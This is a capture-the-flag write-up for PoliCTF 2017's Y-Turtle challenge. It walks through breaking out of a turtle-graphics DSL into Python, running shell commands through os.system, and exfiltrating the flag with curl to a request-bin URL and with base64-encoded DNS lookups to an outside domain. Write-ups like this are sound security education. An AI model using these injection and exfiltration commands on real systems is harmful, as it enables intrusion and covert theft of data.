PoliCTF 2017 - Y-Turle - Grab Bag

A new cyber-artistic collective had fun experimenting with metaprogramming and domain specific languages. Here thre is a first, broken, implementation of a Turtle graphic engine. http://yturtle.chall.polictf.it

This challenge was about breaking out of an environnement that provided a DSL to create an image output using turtle graphics.

Since the description hinted about metaprogramming, I tried executing function that would be associated to common dynamic languages.

(instance_eval "move(5)") ; returned nothing, it's not Ruby
(move (ord "A")); made the cursor move 41 pixels. ord is very Pythonic function
(import time)
(time.sleep 10) ; delays the response by 10 seconds

Can we use os.system? Of course!

(import os)
(os.system "sleep 10") ; delays the response by 10 seconds

Since I was not able to get the output of the commands I was running, I tried using an external server.

(import os)
(os.system "curl http://requestb.in/XXXXXX?x=$(ls|base64)") ; response hangs

Access to internet is probably blocked. I then tried using DNS which turned out not to be blocked.

(import os)
(os.system "host $(cat flag*|base64).example.com")

The server receives a DNS query for the subdomain ZmxhZ3tzaGFfbWFfbmFfbmFfbmFfc2hhbWFfbmFfbmFfbmFfbmF9Cg== which decodes to the flag flag{sha_ma_na_na_na_shama_na_na_na_na}.

The DNS exfiltration was made using DNSBin made by the all mighty HoLyVieR.

Becojo - Northern Coalition


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